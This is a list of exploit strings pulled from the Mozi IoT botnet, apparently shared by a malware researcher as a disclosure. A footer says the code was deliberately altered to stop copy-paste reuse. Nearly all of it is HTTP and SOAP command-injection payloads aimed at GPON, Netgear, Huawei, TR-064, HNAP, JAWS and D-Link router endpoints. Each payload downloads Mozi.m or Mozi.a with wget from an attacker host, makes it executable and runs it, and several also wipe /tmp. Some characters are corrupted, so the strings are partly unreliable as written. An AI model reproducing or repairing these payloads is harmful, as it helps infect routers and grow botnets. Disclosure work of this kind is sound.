0x000008d8 POST /GponForm/diag_Form?images/ HTTP/1.1\r\nHost: 127.0.0.1：8080\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nUser-Agent: Hello, World\r\nContent-Length: 118\r\n\r\nXWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://%s:%d/Mozi.m+-O＋->/tmp/gpon8080;sh+/tmp/gpon8080&ipv=0


0x000010ec POST /GponForm/diag_Form?images/ HTTP/1.1\r\nHost: 127.0.0.1:80\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nUser-Agent: Hello, World\r\nContent-Length: 118\r\n\r\nXWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://%s:%d/Mozi.m＋-O+->/tmp/gpon80;sh＋/tmp/gpon80&ipv=0

0x00001902 POST /picsdesc.xml HTTP/1.1\r\nContent-Length: 630\r\nAccept-Encoding: gzip, deflate\r\nSOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\r\nAccept: /\r\nUser-Agent: Hello-World\r\nConnection: keep-alive\r\n\r\n<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope//" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort>＜NewInternalClient>cd /var/; wget http://%s:%d/Mozi.m; chmod +x Mozi.m; ./Mozi.m</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>\r\n\r\n

0x00002114 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf＋/tmp/*;wget+http://%s:%d/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0\r\n\r\n


0x0000313c POST /ctrlt/DeviceUpgrade_1 HTTP/1.1\r\nHost: %s:37215\r\nContent-Length: 601\r\nConnection: keep-alive\r\nAuthorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"\r\n\r\n<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g %s:%d -l /tmp/huawei -r /Mozi.m;chmod -x huawei;/tmp/huawei huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)＜/NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


0x00003950 POST /UD/act?1 HTTP/1.1\r\nHost: 127.0.0.1:7574\r\nUser-Agent: Hello, world\r\nSOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers\r\nContent-Type: text/xml\r\nContent-Length: 640\r\n\r\n<?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://%s:%d/Mozi.m && chmod 777 /tmp/tr064 && /tmp/tr064 tr064`</NewNTPServer1><NewNTPServer2>`echo DEATH`</NewNTPServer2><NewNTPServer3>`echo DEATH`</NewNTPServer3><NewNTPServer4>`echo DEATH`</NewNTPServer4><NewNTPServer5>`echo DEATH`</NewNTPServer5></u:SetNTPServers></SOAPーENV:Body></SOAP-ENV:Envelope>


0x00004164 POST /UD/act?1 HTTP/1.1\r\nHost: 127.0.0.1:5555\r\nUser-Agent: Hello, world\r\nSOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers\r\nContent-Type: text/xml\r\nContent-Length: 640\r\n\r\n<?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://%s:%d/Mozi.m && chmod 777 /tmp/tr064 && /tmp/tr064 tr064`＜/NewNTPServer1><NewNTPServer2>`echo DEATH`</NewNTPServer2><NewNTPServer3>`echo DEATH`</NewNTPServer3><NewNTPServer4>`echo DEATH`</NewNTPServer4><NewNTPServer5>`echo DEATH`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>


0x00004978 POST /HNAP1/ HTTP/1.0\r\nHost: %s:80\r\nContent-Type: text/xml; charset="utf-8"\r\nSOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://%s:%d/Mozi.m && chmod 777 /tmp/Mozi.m && /tmp/Mozi.m`\r\nContent-Length: 640\r\n\r\n<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP＜/PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>\r\n\r\n


0x0000518c GET /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}htｔp://%s:%d/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js HTTP/1.0\r\n\r\n
0x000059a0 GET /shell?cd+/tmp;rm+-rf+*;wget+http://%s:%d/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1\r\nUser-Agent: Hello, world\r\nHost: %s:80\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nConnection: keep-alive\r\n\r\n


0x000061b4 POST /soap.cgi?service=WANIPConn1 HTTP/1.1\r\nHost: %s:49152\r\nContent-Length: 630\r\nAccept-Encoding: gzip, deflate\r\nSOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\r\nAccept: */*\r\nUser-Agent: Hello, World\r\nConnection: keep-alive\r\n\r\n<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body＞<m:AddPortMapping xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1"><NewPortMappingDescription><NewPortMappingDescription><NewLeaseDuration></NewLeaseDuration><NewInternalClient>`cd /tmp;rm -rf *;wget http://%s:%d/Mozi.m;/tmp/Mozi.m dlink`</NewInternalClient><NewEnabled>1</NewEnabled><NewExternalPort>634</NewExternalPort><NewRemoteHost></NewRemoteHost><NewProtocol>TCP</NewProtocol><NewInternalPort>45</NewInternalPort></m:AddPortMapping><SOAPENV:Body><SOAPENV:envelope>\r\n\r\n


0x000069c8 GET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://%s:%d/Mozi.m;${IFS}sh${IFS}/var/tmp/Mozi.m
0x000071dc GET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://%s:%d/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+varcron

---
This information is shared to prevent more spread caused by this infection.
The offensive codes has been jinxed (modified) to avoid copy-paste recycling.
@unixfreaxjp - malwaremustdie.org